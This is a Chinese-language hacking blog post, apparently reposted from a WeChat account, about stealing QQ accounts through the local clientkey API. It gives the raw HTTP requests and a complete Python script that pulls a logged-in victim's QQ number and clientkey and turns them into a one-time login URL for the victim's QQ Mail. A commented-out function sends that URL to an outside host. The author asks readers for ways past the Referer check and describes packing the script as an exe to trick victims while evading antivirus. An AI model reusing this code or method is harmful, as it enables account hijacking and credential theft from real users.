前言:几个月前看到nekokami的一篇文章关于QQclinetkey的,链接如下:
https://nekokami0527.com/2022/06/27/QQ-ClientKey-盗号原理分析/
觉得有搞头,一有空闲时间就想着咋通过web实现攻击。绕了将近一个月,还是没成功,简单发一下过程,看下老铁们有没有新的思路。
1.QQclinetkey
简单说一下QQclientkey是啥玩意及作用。
是什么:
QQclinetkey从字面上意思就不难看出这是一个密钥,并且是QQ客户端的。
作用:
当我们登陆QQ的时候,就会在本地监听若干个端口,这些端口提供了一些API,以供web或者腾讯同类产品进行交互,以实现一些功能,其中包含web免密快速登陆。
流程:
就以免密快捷登陆为例,当web需要授权的时候就会向本地监听的API端口请求QQ号和QQclientkey,当浏览器获取这些值后,会进行拼接并向服务端请求一次性短暂登陆凭证的URL。
主要流程如下:
web请求快捷登陆
向本地API请求QQ号和KEY
拼接加密后发送给服务端
获取一次性短暂凭证
2.复现
2.1.获取已经登陆的QQ号
这边通过本地API获取已经登陆的QQ号,其中请求包中pt_local_tk值为必须字段,但是可以为任意的10位数(注意)
GET /pt_get_uins?callback=0&pt_local_tk=203927511 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
Referer: https://ptlogin2.qq.com/
Cookie: pt_local_token=203927511;
2.2获取client key
这边通过本地API获取已经登陆QQ的clinetkey,其中请求包中必须字段如下:
clientuin:之前获取的qq号
pt_local_tk:任意十位数字,注意需要跟cookie一致
callback:任意字符串
GET /pt_get_st?clientuin=qq号&pt_local_tk=1234567890&callback=0 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
Referer: https://xui.ptlogin2.qq.com
Cookie: pt_local_token=1234567890
返回clientkey值,也就是客户端密钥
2.3拼接并加密clinetkey,发送给服务端
GET /jump?clientuin=qq号&u1=https%3A%2F%2Fwx.mail.qq.com%2Flist%2Freadtemplate%3Fname%3Dlogin_jump.html%26target%3D%26ss%3D1&pt_local_tk=1254751773&pt_3rd_aid=0&ptopt=1&style=25 HTTP/1.1
Host: ssl.ptlogin2.qq.com
Cookie: clientkey=clinetkey
其中get请求中的pt_local_tk为clientkey的加密结果,cookie为获取的clinetkey。
返回内容为:一次性短暂登陆凭证
总体代码如下:
import requests
import json
def pt_get_uins(pt_local_tk):
cookies = {
"pt_local_token":str(pt_local_tk),
}
headers = {
"Referer":"https://xui.ptlogin2.qq.com/"
}
url = "https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=0&pt_local_tk={pt_local_tk}".format(pt_local_tk=pt_local_tk)
data = requests.get(url,headers=headers,cookies=cookies).content.split(b"[")[1].split(b']')[0].decode()
data = json.loads("["+data+"]")
return data[0]['uin']
def pt_get_st(clientuin,pt_local_tk):
cookies = {
"pt_local_token":str(pt_local_tk),
}
headers = {
"Referer":"https://xui.ptlogin2.qq.com/"
}
url = "https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={clientuin}&pt_local_tk={pt_local_tk}&callback=0".format(clientuin=clientuin,pt_local_tk=pt_local_tk)
data = requests.get(url,headers=headers,cookies=cookies).cookies
return data['clientkey']
def get_url(clientuin,clientkey,pt_local_tk):
cookies={
"clientkey":str(clientkey)
}
headers = {
"Referer":"https://xui.ptlogin2.qq.com/"
}
url = "https://ssl.ptlogin2.qq.com/jump?clientuin="+str(clientuin)+"&u1=https%3A%2F%2Fwx.mail.qq.com%2Flist%2Freadtemplate%3Fname%3Dlogin_jump.html%26target%3D%26ss%3D1&pt_local_tk="+str(pt_local_tk)+"&pt_3rd_aid=0&ptopt=1&style=25"
data = requests.get(url,headers=headers,cookies=cookies,verify=False)
return data.text
def hash33(t):
e = 0
for i in range(len(t)):
e += (e << 5) + ord(t[i])
return 2147483647 & e
# def sendto(end):
# url="http://xrootiscool.com/?"+end
# data = requests.get(url)
def main():
pt_local_tk=str("1797127374")
uid = pt_get_uins(pt_local_tk=pt_local_tk)
clientkey = pt_get_st(clientuin=uid,pt_local_tk=pt_local_tk)
hash=hash33(t=clientkey)
end=get_url(clientuin=uid,clientkey=clientkey,pt_local_tk=hash)
# sendto(end=end)
print(end)
if __name__ == "__main__":
main()
3.绕过尝试
要想在web上完成攻击,refer是一道门槛,尝试了参数污染等姿势,尝试了半天发现
a.com://xxxx.xxx.qq.com
c://xxxx.xxx.qq.com
ftp....
已经是极限了,目前只要绕过refer即可完成纯网页的攻击,老铁们看下有啥绕过的姿势和其他新姿势利用。
写在最后:目前的利用姿势是直接打成exe,然后诱骗点击。相比于木马,因为行为的常规性,不像dump内存会被杀软查杀!!!
。:.゚ヽ(。◕‿◕。)ノ゚.:。+゚防盗专用。:.゚ヽ(。◕‿◕。)ノ゚.:。+゚
^_^文章来源:微信公众号(边界骇客) ^_^ ^_^